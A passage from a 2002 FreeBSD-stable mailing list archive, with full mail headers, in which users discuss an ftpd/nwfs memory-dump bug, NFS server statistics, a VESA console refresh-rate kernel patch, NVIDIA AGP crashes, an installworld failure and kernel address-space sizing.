think your problem can easily be solved: http://cvsweb.freebsd.org/ Take a look at ftpd.c where the mmap->sendfile change has been occured and switch back to the mmap method. Alternatively, you can use -for example- lukemftpd, which doesn't do sendfile. It will work, I bet. --------[ Free Software ISOs - ftp://ftp.fsn.hu/pub/CDROM-Images/ ]------- Attila Nagy e-mail: Attila.Nagy@fsn.hu Free Software Network (FSN.HU) phone @work: +361 210 1415 (194) cell.: +3630 306 6758 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 6:52:56 2002 Delivered-To: freebsd-stable@freebsd.org Received: from scout.adamant.net (scout.adamant.net [212.26.128.10]) by hub.freebsd.org (Postfix) with ESMTP id 2886B37B404 for ; Tue, 23 Apr 2002 06:52:50 -0700 (PDT) Received: from proxy.fc.kiev.ua (indust.fc.kiev.ua [212.26.129.65]) by scout.adamant.net (8.12.1/8.12.1) with ESMTP id g3NDqben005844; Tue, 23 Apr 2002 16:52:43 +0300 Received: from localhost (localhost [127.0.0.1]) by proxy.fc.kiev.ua (Postfix) with SMTP id B37EC36680; Tue, 23 Apr 2002 16:52:32 +0300 (EEST) Received: from blend.fc.kiev.ua (blend [192.168.5.17]) by proxy.fc.kiev.ua (Postfix) with ESMTP id D5E2A36548; Tue, 23 Apr 2002 16:52:31 +0300 (EEST) Received: from 192.168.3.31 (gnut.fc.kiev.ua [192.168.3.31]) by blend.fc.kiev.ua (8.11.6/8.11.6) with ESMTP id g3NDqV187999; Tue, 23 Apr 2002 16:52:31 +0300 (EEST) (envelope-from gnut@fc.kiev.ua) Date: Tue, 23 Apr 2002 16:52:30 +0300 From: "Oles' Hnatkevych" X-Mailer: The Bat! (v1.60) Reply-To: "Oles' Hnatkevych" Organization: Finance & Credit Banking Corporation X-Priority: 3 (Normal) Message-ID: <1228585093.20020423165230@fc.kiev.ua> To: Attila Nagy Cc: freebsd-stable@freebsd.org Subject: Re[2]: nwfs + ftpd In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello Attila, Tuesday, April 23, 2002, 4:50:26 PM, you wrote: I got it. But is not it a security issue? I see lot's of stuff in those memory "dump files" ;) AN> Hello, >> When I "get" file, I get a memory dump, not >> the real content of the file, though the >> length is the same ;) and I got difficulties >> with even accessing it. AN> I think this is the same issue with NULLFS and UNIONFS. (the first is AN> corrected) AN> See my previous mails on this topic. AN> I think your problem can easily be solved: http://cvsweb.freebsd.org/ AN> Take a look at ftpd.c where the mmap->sendfile change has been occured and AN> switch back to the mmap method. AN> Alternatively, you can use -for example- lukemftpd, which doesn't do AN> sendfile. It will work, I bet. AN> --------[ Free Software ISOs - ftp://ftp.fsn.hu/pub/CDROM-Images/ ]------- AN> Attila Nagy e-mail: Attila.Nagy@fsn.hu AN> Free Software Network (FSN.HU) phone @work: +361 210 1415 (194) AN> cell.: +3630 306 6758 Best regards, Oles' mailto:gnut@fc.kiev.ua To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 7: 8:21 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mx0.inoc.net (mx0.inoc.net [64.246.130.30]) by hub.freebsd.org (Postfix) with ESMTP id 50D1F37B416 for ; Tue, 23 Apr 2002 07:08:16 -0700 (PDT) Received: from nimbus (unverified [10.0.0.111]) by mx0.inoc.net (Vircom SMTPRS 5.2.204) with ESMTP id for ; Tue, 23 Apr 2002 10:08:15 -0400 Reply-To: From: "Robert Blayzor" To: Subject: NFS Server "Ret-failed" ? Date: Tue, 23 Apr 2002 10:08:15 -0400 Organization: INOC, LLC Message-ID: <056601c1ead0$4fcc70e0$6f00000a@z0.inoc.net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Our NFS server running on 4.5-STABLE seems to be functioning fine as it always has, however, out of curiosity today I decided to check "nfsstat -s" after a recent installworld and reboot. I'm curious as to why the "Server Ret-Failed" field increments to much and if it's a need for concern, or if this is just normal. Seems this value jumps at the rate of about 20 per second. I don't remember pre 4.5-stable boxes doing this, but I could be wrong. Like I said, the server seems to be running fine and performance is great... Any ideas or comments? 10:04AM up 3:58, 2 users, load averages: 0.02, 0.03, 0.00 Server Info: Getattr Setattr Lookup Readlink Read Write Create Remove 81 7376 223261 44 54235 30421 865 98 Rename Link Symlink Mkdir Rmdir Readdir RdirPlus Access 662 13 22 23 0 398 0 168613 Mknod Fsstat Fsinfo PathConf Commit GLease Vacate Evict 0 4803 11 0 29202 0 0 0 Server Ret-Failed 174405 Server Faults 0 Server Cache Stats: Inprog Idem Non-idem Misses 318 1 0 520146 Server Lease Stats: Leases PeakL GLeases 0 0 0 Server Write Gathering: WriteOps WriteRPC Opsaved 30421 30421 0 -- Robert Blayzor, BOFH INOC, LLC rblayzor@inoc.net I haven't lost my mind; it's backed up on tape somewhere. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 7: 9:40 2002 Delivered-To: freebsd-stable@freebsd.org Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by hub.freebsd.org (Postfix) with ESMTP id 4C52237B404 for ; Tue, 23 Apr 2002 07:09:37 -0700 (PDT) Received: from lsanca1-ar6-4-35-069-169.elnk.dsl.gtei.net ([4.35.69.169] helo=netcom1.netcom.com) by granger.mail.mindspring.net with esmtp (Exim 3.33 #1) id 1700z6-0000p1-00 for stable@freebsd.org; Tue, 23 Apr 2002 10:09:33 -0400 Received: by netcom1.netcom.com (Postfix, from userid 1000) id 367B613108; Tue, 23 Apr 2002 07:09:25 -0700 (PDT) From: Mike Harding To: stable@freebsd.org Subject: What happened to -DCLOBBER in make world? Message-Id: <20020423140925.367B613108@netcom1.netcom.com> Date: Tue, 23 Apr 2002 07:09:25 -0700 (PDT) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am trying to dekerberize a system and -DCLOBBER doesn't seem to work any more - what gives? This is annoying because ports are finding the kerberos include files and compiling in kerberos support, then complaining that they can't find the libs. - Mike H. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 7:14:55 2002 Delivered-To: freebsd-stable@freebsd.org Received: from rwcrmhc53.attbi.com (rwcrmhc53.attbi.com [204.127.198.39]) by hub.freebsd.org (Postfix) with ESMTP id 84A9D37B404 for ; Tue, 23 Apr 2002 07:14:47 -0700 (PDT) Received: from max ([12.254.136.195]) by rwcrmhc53.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with SMTP id <20020423141446.WNES12144.rwcrmhc53.attbi.com@max>; Tue, 23 Apr 2002 14:14:46 +0000 Message-ID: <001301c1ead1$3b6ce020$0900a8c0@max> From: "John Nielsen" To: "Vladislav V. Zhuk" , References: <20020423060700.GD8644@dru.dn.ua> <031f01c1eabe$9dc984c0$0900a8c0@max> Subject: Re: screen refresh rate Date: Tue, 23 Apr 2002 08:14:50 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="KOI8-R" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "John Nielsen" To: "Vladislav V. Zhuk" ; Sent: Tuesday, April 23, 2002 6:01 AM Subject: Re: screen refresh rate > ----- Original Message ----- > From: "Vladislav V. Zhuk" > To: > Sent: Tuesday, April 23, 2002 12:07 AM > Subject: screen refresh rate > > Hi! > > > > I'm work at the computer up to 12 hours per day. The refresh > > rate of textmodes in FreeBSD is too low (60-70 Hz). But i want > > to safe my eyes. > > > > How I can to raise refresh rate to (for example) 85-90 Hz > > on text modes (80x25, 80x30, 80x43, 80x50 and other) ?? > > > > FreeBSD 4.5-STABLE #0: Tue Apr 9 16:24:26 EEST 2002 > > Vanilla FreeBSD does not offer this functionality. I seem to recall seeing > a link to a patch that would do this a while back, but I can't find it now. > I did find a patch here, > http://www.opennet.ru/base/patch/100x37-800x600-100Hz.txt.html > but I haven't tried it and can't vouch for its usability. Be aware that if > your hardware doesn't support the new defaults set by this patch that your > system may become unusable even in single-user mode. I love talking to myself on public forums. :) I applied the patch below to one of my systems here (with a Radeon all-in-wonder card and a generic 19" monitor) and it works fine. At least, I assume it's working (I'm not as sensitive to refresh rates in console mode as some). There weren't any errors, anyway. vidcontrol.c has been cleaned up a bit since the patch at the URL above was produced, so I had to modify that part of the patch to accomodate for the changes. According to the webpage, the default mode is supposed to change to 100x37, but I didn't see a change in that regard (and in fact couldn't change to that mode). Anyway, here's what I used. Once again, use at your own risk. JN --- src,orig/sys/i386/isa/vesa.c Sat Jan 29 18:08:40 2000 +++ src/sys/i386/isa/vesa.c Thu Mar 16 11:44:31 2000 @@ -1016,7 +1016,25 @@ if (!(info.vi_flags & V_INFO_GRAPHICS)) info.vi_flags &= ~V_INFO_LINEAR; - if (vesa_bios_set_mode(mode | ((info.vi_flags & V_INFO_LINEAR) ? 0x4000 : 0))) + if (mode == M_VESA_800x600) { /* XXX ignores V_INFO_LINEAR */ + unsigned char crtc[0x19]; + unsigned char reg; + if (vesa_bios_set_mode(mode)) + return 1; + for (reg=0;reg<0x19;++reg) { + outb(0x3d4,reg); + crtc[reg]=inb(0x3d5); + } + if (!vesa_bios_set_mode(M_VESA_1024x768)) { + outb(0x3d4,0x11); + outb(0x3d5,crtc[0x11]&0x7f); + for (reg=0;reg<0x19;++reg) { + outb(0x3d4,reg); + outb(0x3d5,crtc[reg]); + } + } + } else + if (vesa_bios_set_mode(mode | ((info.vi_flags & V_INFO_LINEAR) ? 0x4000 : 0))) return 1; if (adp->va_info.vi_flags & V_INFO_LINEAR) --- /usr/src/usr.sbin/vidcontrol/vidcontrol.c.orig Tue Apr 23 07:02:22 2002 +++ /usr/src/usr.sbin/vidcontrol/vidcontrol.c Tue Apr 23 07:09:43 2002 @@ -46,8 +46,13 @@ #include "path.h" #include "decode.h" +/* Pre-patch defaults: #define _VESA_800x600_DFL_COLS 80 #define _VESA_800x600_DFL_ROWS 25 +#define _VESA_800x600_DFL_FNSZ 16 +*/ +#define _VESA_800x600_DFL_COLS 100 +#define _VESA_800x600_DFL_ROWS 37 #define _VESA_800x600_DFL_FNSZ 16 #define DUMP_RAW 0 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 7:41: 2 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mailserver.ratelecom.net (host93-9.zapad.msk.ru [212.5.93.9]) by hub.freebsd.org (Postfix) with ESMTP id D187837B400 for ; Tue, 23 Apr 2002 07:40:52 -0700 (PDT) Received: from [195.128.69.169] (account haali@home.domonet.ru HELO po.cs.msu.su) by mailserver.ratelecom.net (CommuniGate Pro SMTP 3.5.1) with ESMTP-TLS id 1182137 for freebsd-stable@FreeBSD.ORG; Tue, 23 Apr 2002 18:40:50 +0400 Message-ID: <3CC57275.4030609@po.cs.msu.su> Date: Tue, 23 Apr 2002 18:40:53 +0400 From: Mike Matsnev User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:0.9.9) Gecko/20020311 X-Accept-Language: ru, en-us MIME-Version: 1.0 To: freebsd-stable@FreeBSD.ORG Subject: Re: screen refresh rate References: <20020423060700.GD8644@dru.dn.ua> <031f01c1eabe$9dc984c0$0900a8c0@max> <001301c1ead1$3b6ce020$0900a8c0@max> Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I applied the patch below to one of my systems here (with a Radeon > all-in-wonder card and a generic 19" monitor) and it works fine. At least, > I assume it's working (I'm not as sensitive to refresh rates in console mode > as some). There weren't any errors, anyway. vidcontrol.c has been cleaned > up a bit since the patch at the URL above was produced, so I had to modify > that part of the patch to accomodate for the changes. According to the > webpage, the default mode is supposed to change to 100x37, but I didn't see > a change in that regard (and in fact couldn't change to that mode). Anyway, > here's what I used. Once again, use at your own risk. This is my old patch to change the refresh rate of VESA_800x600 mode. It works by setting 1024x768 vesa mode to get the higher dot clock and changes back the display size parameters to those of 800x600, so we end up with a 800x600 mode with higher refresh rate. This is more a hack than a real solution, and a proper splxxx() call is needed around crtc programming code to be safe. Also the vidcontrol part is now irrelevant, as the dimensions can be specified as arguments to vidcontrol. /Mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 8:45: 2 2002 Delivered-To: freebsd-stable@freebsd.org Received: from numeri.campus.luth.se (numeri.campus.luth.se [130.240.197.103]) by hub.freebsd.org (Postfix) with ESMTP id 647A737B404 for ; Tue, 23 Apr 2002 08:44:56 -0700 (PDT) Received: (from k@localhost) by numeri.campus.luth.se (8.11.6/8.11.6) id g3NFiqd39655; Tue, 23 Apr 2002 17:44:52 +0200 (CEST) (envelope-from k) Date: Tue, 23 Apr 2002 17:44:52 +0200 From: Johan Karlsson To: Niels Heinen Cc: freebsd-stable@FreeBSD.ORG Subject: MAINTAINERS (was: Re: boot0 maintainer Message-ID: <20020423174451.A38012@numeri.campus.luth.se> References: <3CC42ACB.F7832B41@ubizen.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3CC42ACB.F7832B41@ubizen.com>; from niels.heinen@ubizen.com on Mon, Apr 22, 2002 at 05:22:52PM +0200 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I do know if you already got an answer but for the sake of compleatness in the archive. There is now a file MAINTAINERS in src/ where a maintainer for some of the subsystems can be found. See http://www.freebsd.org/cgi/cvsweb.cgi/src/MAINTAINERS if you do not have source for current. /Johan K On Mon, Apr 22, 2002 at 17:22 (+0200) +0000, Niels Heinen wrote: > > > Hi , > > Does anyone know who is currently maintaining the boot0 code ? I would > like to submit a patch that > removes some dos partitions and adds Windows support to it. > > Thanks ! > > Niels > > ps I know it ain't Robert Nordier anymore > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message -- Johan Karlsson mailto:k@numeri.campus.luth.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 9:17:44 2002 Delivered-To: freebsd-stable@freebsd.org Received: from green.csi.cam.ac.uk (green.csi.cam.ac.uk [131.111.8.57]) by hub.freebsd.org (Postfix) with ESMTP id 2095237B41A; Tue, 23 Apr 2002 09:17:34 -0700 (PDT) Received: from jacs (helo=localhost) by green.csi.cam.ac.uk with local-esmtp (Exim 4.04) id 1702yz-0000HH-00; Tue, 23 Apr 2002 17:17:33 +0100 Date: Tue, 23 Apr 2002 17:17:33 +0100 (BST) From: "Dr J.A.C. Stenton" X-X-Sender: jacs@green.csi.cam.ac.uk To: freebsd-hardware@FreeBSD.ORG Cc: freebsd-stable@FreeBSD.ORG Subject: Athlon XP with NVIDIA AGP problem Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I notice on the lists that there has been problems with Athlon XP and NVIDIA AGP H/W combinations. Has a fix been found for FreeBSD 4.5?. I tried an ASUS A7V333 board with a GeForce 2 graphics board and it worked great until I tried to start X Windows which resulted in an automatic reset of the machine which was not good for the Hard disks. I tried tweaking the AGP BIOS settings but with no joy. Chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 10:19:57 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mail.speakeasy.net (mail17.speakeasy.net [216.254.0.217]) by hub.freebsd.org (Postfix) with ESMTP id C0EE437B420 for ; Tue, 23 Apr 2002 10:19:54 -0700 (PDT) Received: (qmail 28293 invoked from network); 23 Apr 2002 17:19:53 -0000 Received: from unknown (HELO celebris.tddhome) ([64.81.20.229]) (envelope-sender ) by mail17.speakeasy.net (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 23 Apr 2002 17:19:53 -0000 Received: (from tomdean@localhost) by celebris.tddhome (8.11.3/8.11.3) id g3NHJpo36701; Tue, 23 Apr 2002 10:19:51 -0700 (PDT) (envelope-from tomdean@speakeasy.org) Date: Tue, 23 Apr 2002 10:19:51 -0700 (PDT) Message-Id: <200204231719.g3NHJpo36701@celebris.tddhome> X-Authentication-Warning: celebris.tddhome: tomdean set sender to tomdean@speakeasy.org using -f From: User Tomdean To: jacs@hermes.cam.ac.uk Cc: freebsd-stable@FreeBSD.ORG In-reply-to: (jacs@hermes.cam.ac.uk) Subject: Re: Athlon XP with NVIDIA AGP problem References: Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have been unable to get an ASUS A7N266-E (nForce) with integrated GeForce2 to work with XFree86-4.2.0. I have worked with developers on this for a couple of weeks. No joy. Something that may work for you, but, did not for me, ftp://ftp.jurai.net/users/winter/nvidia/freebsd_nvidia-1.0-2315_1_3.tar.gz I managed to get XFree86-4.2.0 to run on the machine by installing an ATI Radeon 7000 AGP Card in the AGP slot. tomdean To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 10:27:47 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mailtest.btconnex.net (mailtest.btconnex.net [209.47.192.8]) by hub.freebsd.org (Postfix) with SMTP id B9ECA37B41D for ; Tue, 23 Apr 2002 10:27:43 -0700 (PDT) Received: (qmail 28232 invoked from network); 23 Apr 2002 17:24:11 -0000 Received: from unknown (HELO ?192.168.66.55?) (192.168.66.55) by mailtest.btconnex.net with SMTP; 23 Apr 2002 17:24:11 -0000 Date: Tue, 23 Apr 2002 13:25:59 -0400 (EDT) From: Elliott Perrin X-X-Sender: To: Subject: Break in installworld, cvsup'ed today Message-ID: <20020423132108.V520-100000@decalpha.beanfield.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Please cc me on any replies, I am not on freebsd-stable list I just cvsup'ed my home machine from 4.3-STABLE to 4.5-STABLE today, and the installworld is failing at install -c -o root -g wheel -m 444 rmdir.1.gz /usr/share/man/man1 ===> bin/sh install -c -s -o root -g wheel -m 555 sh /bin Could not execute shell *** Error code 1 1 error *** Error code 2 1 error *** Error code 2 1 error *** Error code 2 1 error *** Error code 2 1 error *** Error code 2 1 error Anyone have a quick workaround / fix for this? Anyone else seen this. cvsup was done this morning at around 10:30AM EDT from cvsup3.freebsd.org Cheers, Elliott Perrin eperrin@beanfield.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 10:47:24 2002 Delivered-To: freebsd-stable@freebsd.org Received: from topperwein.dyndns.org (acs-24-154-28-203.zoominternet.net [24.154.28.203]) by hub.freebsd.org (Postfix) with ESMTP id 4997537B416 for ; Tue, 23 Apr 2002 10:47:17 -0700 (PDT) Received: from topperwein (topperwein [192.168.168.10]) by topperwein.dyndns.org (8.11.6/8.11.6) with ESMTP id g3NHlG371828 for ; Tue, 23 Apr 2002 13:47:16 -0400 (EDT) (envelope-from behanna@zbzoom.net) Date: Tue, 23 Apr 2002 13:47:11 -0400 (EDT) From: Chris BeHanna Reply-To: Chris BeHanna To: FreeBSD-Stable Subject: Re: Athlon XP with NVIDIA AGP problem In-Reply-To: <200204231719.g3NHJpo36701@celebris.tddhome> Message-ID: <20020423134536.Y71809-100000@topperwein.dyndns.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 23 Apr 2002, User Tomdean wrote: > I have been unable to get an ASUS A7N266-E (nForce) with integrated > GeForce2 to work with XFree86-4.2.0. > > I have worked with developers on this for a couple of weeks. No joy. > > Something that may work for you, but, did not for me, > > ftp://ftp.jurai.net/users/winter/nvidia/freebsd_nvidia-1.0-2315_1_3.tar.gz > > I managed to get XFree86-4.2.0 to run on the machine by installing an > ATI Radeon 7000 AGP Card in the AGP slot. You're better off that way anyway. The onboard GeForce2 uses one of the memory channels (and your RAM) for its buffering, having no onboard memory of its own. -- Chris BeHanna Software Engineer (Remove "bogus" before responding.) behanna@bogus.zbzoom.net I was raised by a pack of wild corn dogs. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 11:45:44 2002 Delivered-To: freebsd-stable@freebsd.org Received: from perd1.estpak.ee (ld1.estpak.ee [194.126.101.98]) by hub.freebsd.org (Postfix) with ESMTP id 8D64537B41D; Tue, 23 Apr 2002 11:45:36 -0700 (PDT) Received: from myhakas.estpak.ee (myhakas.estpak.ee [194.126.115.54]) by perd1.estpak.ee (Postfix) with ESMTP id 3E8B388055; Tue, 23 Apr 2002 21:45:35 +0300 (EEST) Received: from myhakas.estpak.ee (localhost [127.0.0.1]) by myhakas.estpak.ee (8.12.2/8.12.2) with ESMTP id g3NIjZC9030376; Tue, 23 Apr 2002 21:45:35 +0300 (EEST) (envelope-from vallo@myhakas.estpak.ee) Received: (from vallo@localhost) by myhakas.estpak.ee (8.12.2/8.12.2/Submit) id g3NIjYYF030375; Tue, 23 Apr 2002 21:45:34 +0300 (EEST) Date: Tue, 23 Apr 2002 21:45:34 +0300 From: Vallo Kallaste To: "Marc G. Fournier" Cc: Terry Lambert , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020423184534.GA30212@myhakas.estpak.ee> Reply-To: kalts@estpak.ee References: <3CC4C683.F9AEF14E@mindspring.com> <20020423092909.N1721-100000@mail1.hub.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020423092909.N1721-100000@mail1.hub.org> User-Agent: Mutt/1.5.0i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 09:44:50AM -0300, "Marc G. Fournier" wrote: > Next, again, if I'm reading this right ... if I set my KVA to 3G, > when the system boots, it will reserve 3G of *physical* RAM for > the kernel itself, correct? So on a 4G machine, 1G of *physical* > RAM will be available for UVAs ... so, if I run >1G worth of > processes, that is where swapping to disk comes in, right? Other > then the massive performance hit, and the limit you mention about > some parts of UVA not being swappable, I could theoretically have > >4G of swap to page out to? You can have up to ~12GB of usable swap space, as I've heard. Don't remember why such arbitrary limit, unfortunately. Information about such topics is spread over several lists arhives, usually the subjects are strange, too.. so hard to find out. As I understand it you are on the track, having 3GB allocated to KVA means 1GB for UVA, whatever it exactly means. Userspace processes will allocate memory from UVA space and can grow over 1GB of size if needed by swapping. You can certainly have more than one over-1GB process going on at the same time, but swapping will constrain your performance. I'm sure Terry or some other knowledgeable person will correct me if it doesn't make sense. > Is there a reason why this stuff isn't auto-scaled based on RAM as > it is? Probably lack of manpower, to code it up you'll have to understand every bit of it, but as we currently see, we don't understand it, probably many others as well :-) -- Vallo Kallaste kalts@estpak.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 12:16:13 2002 Delivered-To: freebsd-stable@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 7620137B41E for ; Tue, 23 Apr 2002 12:16:09 -0700 (PDT) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 23 Apr 2002 20:16:08 +0100 (BST) To: rblayzor@inoc.net Cc: freebsd-stable@freebsd.org Subject: Re: NFS Server "Ret-failed" ? In-Reply-To: Your message of "Tue, 23 Apr 2002 10:08:15 EDT." <056601c1ead0$4fcc70e0$6f00000a@z0.inoc.net> Date: Tue, 23 Apr 2002 20:16:08 +0100 From: Ian Dowse Message-ID: <200204232016.aa53386@salmon.maths.tcd.ie> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message <056601c1ead0$4fcc70e0$6f00000a@z0.inoc.net>, Robert Blayzor writes: >value jumps at the rate of about 20 per second. I don't remember pre >4.5-stable boxes doing this, but I could be wrong. Like I said, the >server seems to be running fine and performance is great... Any ideas >or comments? >Server Ret-Failed > 174405 This is just telling you the number of operations that returned a failure code to the client. It includes all of the "normal" errors you get when accessing files (file not found, file exists, no space left on device, is a directory etc. etc.), so there is nothing unusual about seeing this number grow quite quickly. To see the actual errors, run tcpdump with a suitably large snaplen and look at the lines containing "ERROR" and the preceding requests. You'll probably mainly see stuff like programs looking for optional config files or trying each component of $PATH. Ian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 12:19:21 2002 Delivered-To: freebsd-stable@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id A186237B41A for ; Tue, 23 Apr 2002 12:19:15 -0700 (PDT) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id MAA30102; Tue, 23 Apr 2002 12:19:13 -0700 Message-ID: <3CC5B3B1.3040008@owt.com> Date: Tue, 23 Apr 2002 12:19:13 -0700 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 X-Accept-Language: en-us, es-mx MIME-Version: 1.0 To: Elliott Perrin Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Break in installworld, cvsup'ed today References: <20020423132108.V520-100000@decalpha.beanfield.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Elliott Perrin wrote: > Please cc me on any replies, I am not on freebsd-stable list > > I just cvsup'ed my home machine from 4.3-STABLE to 4.5-STABLE today, and > the installworld is failing at > > install -c -o root -g wheel -m 444 rmdir.1.gz /usr/share/man/man1 > ===> bin/sh > install -c -s -o root -g wheel -m 555 sh /bin > Could not execute shell > *** Error code 1 > 1 error > *** Error code 2 > 1 error > *** Error code 2 > 1 error > *** Error code 2 > 1 error > *** Error code 2 > 1 error > *** Error code 2 > 1 error > > > Anyone have a quick workaround / fix for this? Anyone else seen this. > > cvsup was done this morning at around 10:30AM EDT from cvsup3.freebsd.org > I don't have a fix but I just finished cvsuping to RELENG_4 and didn't have any problems updating my system. Kent -- Kent Stewart Richland, WA http://users.owt.com/kstewart/index.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 12:20:10 2002 Delivered-To: freebsd-stable@freebsd.org Received: from guru.mired.org (dsl-64-192-6-133.telocity.com [64.192.6.133]) by hub.freebsd.org (Postfix) with ESMTP id E825137B41F for ; Tue, 23 Apr 2002 12:20:01 -0700 (PDT) Received: (from mwm@localhost) by guru.mired.org (8.11.1/8.11.2) id g3NJK0m38311 for freebsd-stable@freebsd.org; Tue, 23 Apr 2002 14:20:00 -0500 (CDT) (envelope-from mwm-dated-1020021600.7915bc@mired.org) X-Authentication-Warning: guru.mired.org: mwm set sender to mwm-dated-1020021600.7915bc@mired.org using -f MIME-Version: 1.0 